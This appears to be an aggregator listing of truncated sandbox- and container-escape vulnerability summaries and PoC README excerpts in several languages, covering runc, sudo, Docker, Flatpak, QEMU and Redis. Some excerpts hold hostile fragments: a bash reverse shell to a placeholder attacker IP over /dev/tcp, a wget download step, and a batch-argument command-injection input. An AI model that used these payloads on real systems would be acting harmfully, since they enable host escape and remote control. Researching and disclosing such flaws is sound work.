CVE-2026-90648

wasm2c in WebAssembly wabt through 1.0.41 contains a sandbox escape vulnerability ("table flip"). The root cause is an unchecked return value of calloc() in wasm_rt_allocate_funcref_table(); when allocation fails, table->data remains NULL while table->size retains the guest-declared count, ...

EUVD-2026-76911

In Flatpak before 1.18.1, a malicious sandboxed app can obtain arbitrary read and write access to files on the host, which can be escalated to arbitrary code execution on the host, a different vulnerability than CVE-2026-76925. Flatpak creates a few app data directories e.g., /var/cache, /var/dat...

CVE-2026-90616

In Flatpak before 1.18.1 , a malicious sandboxed app can gain arbitrary read and write access to host files , escapable to arbitrary code execution on the host. The root cause is a missing symlink protection in the bind-mounting process: Flatpak creates app data directories (e.g., /var/cache, /va...

CVE-2025-2783

SandBoxEscapeSim CVE-2025-2783: Chrome용 교육용 샌드박스 이스케이프 시뮬레이션 저자: Byte Reaper @ByteReaper0 개요 이 프로젝트는 Google Chrome버전 134.0.6998.177 내 샌드박스 이스케이프 취약점의 개념을 시연하기 위해 설계된 연구 중심 의 교육용 시뮬레이션 입니다. Mojo IPC 시스템을 통한 부적절한 핸들 검증을 활용하여, 악의적인 행위자가 브라우저의 샌드박스를 벗어나 제한된 리소스에 접근하려고 시도하는 방법을 설명합니다. 참고: 이는 작동하는 익스플로...

subpath-exploit

샘플 Kubernetes 탈출 - CVE-2017-1002101 이용 설명 이 문제에 대해 듣고 이 가이드를 따라가면서, 좀 더 탐구해보고 싶었습니다. 이 리포지토리는 몇 가지 파드 배포와 헬퍼 셸 스크립트를 포함하여, 쿠버네티스 관리자와 운영자가 심각성과 잠재적 위험을 완전히 이해할 수 있도록 공격 메커니즘을 가장 간단한 방식으로 보여줍니다. 인증된 사용자이거나 파드의 스펙/템플릿을 생성 시 제어할 수 있어야 하므로, 이 탈출은 다른 공격예: 이것과 결합하지 않으면 익명으로 이루어지지 않을 가능성이 높습니다. 빠른 설명...

CVE-2021-41091

CVE-2021-41091 Moby（Docker Engine）のバグにより、権限のないユーザーがディレクトリを横断し、コンテナ内のプログラムをホストマシン上で直接実行できる可能性があります。コンテナ内にSUIDプログラムが存在する場合、ユーザーはホストマシン上でそれをSUIDとして実行できます。 PoC コンテナのターミナルで docker.sh ファイルをダウンロードし、rootユーザーとして実行します: root@kitploit: wget...

CVE-2025-32463

参考：https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot 在运行 Sudo v1.9.15p5 的 Ubuntu 24.04.2 LTS 服务器上执行该 PoC，使用一个未定义任何 Sudo 规则的非特权用户，最终会在 chroot 环境之外获得一个 root shell。 lowpriv@prod:/CVE-2025-32463$ id uid=1001lowpriv gid=1001lowpriv groups=1001lowpriv lowpriv@prod:...

CVE-2021-3929-3947

CVE-2021-3929-3947 CVE-2021-3929 및 CVE-2021-3947에 대한 VM 탈출 PoC입니다. 교육 목적으로만 사용하세요. 자세한 내용은 백서 를 참조하세요. 환경 root@kitploit: OS: Ubuntu 21.10 Linux: 5.13.0 gcc: 11.2.0 glibc: 2.34 glib: 2.68.4 QEMU: 6.1.0 Guest OS: Ubuntu 21.04 명령어 호스트 root@kitploit: qemu-system-x8664 run -machine type=q35,accel=kvm...

page_inject

pageinject - AFALG aead クロスコンテナエスケープ AFALG aead 脆弱性を利用したクロスコンテナエクスプロイト -- 侵害済みの1つのコンテナから、同じlibc.so.6 イメージレイヤーを共有するすべての兄弟コンテナへピボットします。 これはエスケーププリミティブ です。攻撃者がすでに侵害した非特権コンテナの内部 から実行され、AFALG authencesn の ESN ローテーションによる4バイト任意書き込みバグ（CVE-2026-31431）を利用して、libc.so.6 のページキャッシュページに永続的な read フックを仕込みます。Docker...

ipv6_frag_escape

IPV6FRAGESCAPE CentOS / RHEL 10 向けの、信頼性のある非特権コンテナ / 脱獄（jail escape）の概念実証です。 これは、ip6appenddata の（現在は修正済みの）IPv6 フラグメンテーションのバグ（上流では 38becddc でクローズ、CVE なし）を利用します。これは、パケット自身のヘッダオブジェクトの末尾にある skbsharedinfo へのスラブ内線形オーバーフローです。この README は悪用チェーンのみを説明します。トリガについては扱いません。 対象範囲 ターゲット: CentOS / RHEL 10（カーネル...

CVE-2024-24576-PoC-BatBadBut

CVE-2024-24576-PoC-BatBadBut CVE-2024-24576 脆弱性 "BatBadBut" の PoC 情報 スクリプトを実行すると、引数の入力を求められます。その引数は bat ファイルに渡されます。引数を " で閉じ、その後に & を続けると、任意の Windows コマンドを実行できます。 例: root@kitploit: helloworld" & whoami 結果として、whoami コマンドの出力が得られます。 もちろん、実際の環境ではこのような見た目にはなりません。これはあくまで本 CVE の PoC です。 使用方法 リポジトリをクローン:...

deepce

deepce root@kitploit: . == === /"""""""""""""""""/ === / ===- \ X / \ \ / \/ / / / / / / / / \ ENUMERATE / // / / / // / / / ESCALATE ,/// ./// ESCAPE // Webサイト Docker 列挙、権限昇格、コンテナエスケープ DEEPCE できるだけ多くのコンテナと互換性があるように、DEEPCE は依存関係のない純粋な sh で書かれています。利用可能であれば curl、nmap、nslookup、dig...

CyberMeowfia

Webサイト: nebusec.ai · Twitter @nebusecurity · バグリスト 885+ IonStack フォローアップ、https://github.com/NebuSec/CyberMeowfia/issues/44 をフォロー 最新の研究 IonStack part II : GhostLock、15年間すべてのLinuxディストリビューションに存在してきたスタックUAF Linux Kernel 📖 Writeup · 🐦 Twitter Longinus :...

s6_pcie_microblaze

PCI Express DIYハッキングツールキット 一般情報 内容 SP605ボード構成 ソフトウェア構成 例 Python APIの使用 実践的なDMA攻撃 Option ROM攻撃 トラブルシューティング ソースコードからのプロジェクト構築 一般情報 このリポジトリには、PCI-EバスとDMA攻撃に関連するツールと概念実証のセットが含まれています。Spartan-6 FPGAを搭載したXilinx SP605 Evaluation Kit向けに、ソフトウェアで制御可能なPCI-E Gen...

cve-2019-5736-poc

추가해야 할 헤더 stage2.c bash include bash include 공격자 PC의 IP로 수정 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Docker Image 및 컨테이너 생성 root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.b...

CVE-2025-32463

🚨 PoC: CVE-2025-32463 – Sudo chroot エスケープ脆弱性 sudo バージョン 1.9.0 から 1.9.17p1 に影響する重大な脆弱性で、ユーザーが chroot から脱出し、実際のルートファイルシステムにアクセスできるようになります。 📌 説明 CVE-2025-32463 は、特定の sudoers 設定を持つユーザーが chroot ジェイルから脱出し、ホストシステムのルートディレクトリにアクセスできるようにする sudo のローカル権限昇格 脆弱性です。 🔥 影響 /etc/sudoers に次のような行が含まれている場合: someuser...

CVE-2025-24104

CVE-2025-24104 분석: 샌드박스 외부 파일 읽기 Apple이 나중에 CVE-2025-24104 로 추적한 버그를 신고했습니다. 원본 보고서에서는 악성 백업을 사용하여 샌드박스 제한을 우회하는 방법을 시연했습니다. 그러나 Apple의 초기 설명에서는 이 취약점이 보호된 시스템 파일을 수정할 수 있다고 명시했습니다. 기록을 바로잡고자 합니다: 이 버그는 실제로 공격자가 샌드박스 외부의 임의 파일을 읽을 수 있게 합니다. 타임라인 발견: 2024년 4월 보고: 2024년 10월 패치: iOS 18.3 베타 1 발견한 내용...

POC-CVE-2019-5736

RunC-CVE-2019-5736 비디오 : https://bit.ly/2WqvILb 블로그 게시물 : www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html 여기서 저는 이 익스플로잇의 원 개발자는 Twistlock Labs의 Yuval Avrahami임을 언급하고 싶습니다. POC 실행하기 POC를 실행하면 호스트의 runC 바이너리가 덮어쓰여집니다. POC 중 하나를 실행하기 전에 runC 바이너리보통 /usr/sbin/runc에 있음의 복사본을 만들...

toothfairy

toothfairy 与 brokentooth 相关（见下文链接）。 与 brokentooth 不同，toothfairy 无需在蓝牙菜单中按下按钮。 这两个 CVE 均由 @SparkZheng 披露，但未提供 POC，因此我决定为了学习经验制作一个 POC。 代码并非完美，但能够完成工作。 已在 iPhone 6S 11.3.1 上测试 应兼容至 11.4 允许你将 bluetoothd 及其他几个服务上的 PC（ARM 中 IP 寄存器的对应项）设置为你选择的值。 使用了 @raniXCH 的 bluetoothdPoC 代码来处理 Mach 消息的所有准备工作以及向 BT...

CVE-2022-0543-Home-Lab

CVE-2022-0543 — Redis Lua 샌드박스 탈출 원격 코드 실행 CVE‑2022‑0543 — Redis Lua 샌드박스 탈출이란? 이 취약점은 Debian / Ubuntu 패키지를 통해 설치된 Redis 에서만 발생합니다. Redis가 Lua 엔진을 동적 모듈lua-cjson, lua-bitop로 컴파일했기 때문에, 공격자는 다음을 호출할 수 있습니다: root@kitploit: package.loadlib 시스템의 IO 함수를 로드하여 호스트에서 명령을 실행하게 되며, 이로 인해 원격 코드 실행RCE이 발생합니다...